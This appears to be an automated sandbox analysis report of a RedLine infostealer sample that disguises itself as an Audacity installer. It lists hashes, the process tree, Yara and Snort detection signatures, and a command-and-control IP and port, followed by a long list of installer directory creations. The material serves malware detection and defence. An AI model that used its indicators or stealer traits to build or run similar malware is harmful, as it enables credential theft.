Edit tour

Windows Analysis Report
WsiysHggF9.exe

Overview

General Information

Sample Name:	WsiysHggF9.exe
Analysis ID:	715159
MD5:	350ea577229a9518d3b9dcd76d109e14
SHA1:	b9431df0ca98d1fa3abeefc92d1bd25e4c8b4e22
SHA256:	2c8960c00dfc803bb8175a6833904173b6ff044c7128c24c8de2379b47274c77
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	50
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Generic Downloader

Obfuscated command line found

Tries to detect virtualization through RDTSC time measurements

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Stores files to the Windows start menu directory

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Sample file is different than original file name gathered from version info

Allocates memory with a write watch (potentially for evading sandboxes)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

File is packed with WinRar

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

WsiysHggF9.exe (PID: 5904 cmdline: C:\Users\user\Desktop\WsiysHggF9.exe MD5: 350EA577229A9518D3B9DCD76D109E14)

Installation_controller.exe (PID: 6064 cmdline: "C:\ProgramData\Installation_controller.exe" MD5: 46A16F35F193D36DB5B03B6E692658B3)

audacity-win-3.2.0-64bit.exe (PID: 5640 cmdline: "C:\ProgramData\audacity-win-3.2.0-64bit.exe" MD5: 553B47079E2FD4820EF2F9841297EF97)

audacity-win-3.2.0-64bit.tmp (PID: 4432 cmdline: "C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe" MD5: 220722BABC7320F6FF80BB591C9DA719)

_setup64.tmp (PID: 3612 cmdline: helper 105 0x420 MD5: E4211D6D009757C078A9FAC7FF4F03D4)

conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Audacity.exe (PID: 1928 cmdline: C:\Program Files\Audacity\audacity.exe MD5: 686920484890800433A208E111666FE1)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.3.Installation_controller.exe.3fc3a610.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x694ce:$pat14: , CommandLine: 0x53416:$v2_1: ListOfProcesses 0x50444:$v4_4: stringKey 0x531b0:$v4_8: procName 0x4e6c2:$v5_1: DownloadAndExecuteUpdate 0x4e6ea:$v5_2: ITaskProcessor 0x4e6b0:$v5_3: CommandLineUpdate 0x4e6db:$v5_4: DownloadUpdate 0x4e624:$v5_5: FileScanning 0x4e8c2:$v5_7: RecordHeaderField 0x4e7ec:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.Installation_controller.exe.3fc3a610.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5c351:$s1: file:/// 0x5c261:$s2: {11111-22222-10009-11112} 0x5c2e1:$s3: {11111-22222-50001-00000} 0x579ac:$s4: get_Module 0x51d04:$s5: Reverse 0x5009f:$s6: BlockCopy 0x582f8:$s7: ReadByte 0x5c363:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
1.3.Installation_controller.exe.3fc3a610.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.3.Installation_controller.exe.3fc3a610.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x6b2ce:$pat14: , CommandLine: 0x55216:$v2_1: ListOfProcesses 0x52244:$v4_4: stringKey 0x54fb0:$v4_8: procName 0x504c2:$v5_1: DownloadAndExecuteUpdate 0x504ea:$v5_2: ITaskProcessor 0x504b0:$v5_3: CommandLineUpdate 0x504db:$v5_4: DownloadUpdate 0x50424:$v5_5: FileScanning 0x506c2:$v5_7: RecordHeaderField 0x505ec:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.Installation_controller.exe.3fc3a610.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5e151:$s1: file:/// 0x5e061:$s2: {11111-22222-10009-11112} 0x5e0e1:$s3: {11111-22222-50001-00000} 0x597ac:$s4: get_Module 0x53b04:$s5: Reverse 0x51e9f:$s6: BlockCopy 0x5a0f8:$s7: ReadByte 0x5e163:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...

Snort Signatures

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 188.34.179.139 - Destination IP: 192.168.2.6

Timestamp:	188.34.179.139192.168.2.610561496932850353 10/03/22-17:32:43.853269
SID:	2850353
Source Port:	10561
Destination Port:	49693
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.6 - Destination IP: 188.34.179.139

Timestamp:	192.168.2.6188.34.179.13949693105612850027 10/03/22-17:32:43.736332
SID:	2850027
Source Port:	49693
Destination Port:	10561
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.6 - Destination IP: 188.34.179.139

Timestamp:	192.168.2.6188.34.179.13949693105612850286 10/03/22-17:32:54.635526
SID:	2850286
Source Port:	49693
Destination Port:	10561
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: WsiysHggF9.exe

ReversingLabs: Detection: 51%

Source: WsiysHggF9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Audacity_is1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\unins000.dat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NL931.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9T84T.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0UADG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-P90KL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NTE5N.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9JHT8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-2SCU5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-CV5R1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7U34J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7F1IJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EPTFT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-IU3MP.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NKFUD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5OMUN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5LJ3G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-JO5BM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-SO45U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-VGNVB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-E63DL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7BF1G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-MVD1T.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-J5UM8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-OF8N5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-DBS3U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7HBD3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EE795.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-6S7SN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-V5T2O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-9K9M7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UFU1R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-DEMF3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-JALHN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-19I02.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-GCDE1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-1J0J3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-HKQ8J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-U641C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KRBVG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-R9F1C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-VMF33.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-NOB4R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-37ABV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-HKD6O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-L050V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-GAK9A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UR1D7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-3RF3V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-EGO60.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KJ41F.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-AG00V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-8JNDO.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0UDPU.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-L0CK2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-TDP90.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-4STCS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-H8I8G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-UJ3RS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-LAIB1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-K3IU2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-32N1E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0KP7K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-8SGGQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-IOAI2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-K8GOH.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KRBQ3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-6C785.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5BTDL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5AL5G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7A0A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\af	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\af\is-HO62N.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ar	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ar\is-T0H9J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\be	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\be\is-M4P44.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bg\is-3UN24.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bn\is-TP6MB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bs\is-2VUIJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca\is-6CEK5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca_ES@valencia	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca_ES@valencia\is-MT216.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\co	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\co\is-3NQSM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cs\is-T6M9E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cy\is-H92PA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\da	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\da\is-L5QPV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\de	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\de\is-52QJJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\el	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\el\is-4K82R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\es	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\es\is-44RRB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu\is-BBOJ7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu_ES	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu_ES\is-AMHSN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fa\is-FG87I.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fi\is-N6N61.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fr\is-NL67K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ga	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ga\is-T5ETS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\gl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\gl\is-OKLKC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\he	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\he\is-O5794.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hi\is-SQO61.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hr\is-PHG0Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hu	Jump to behavior
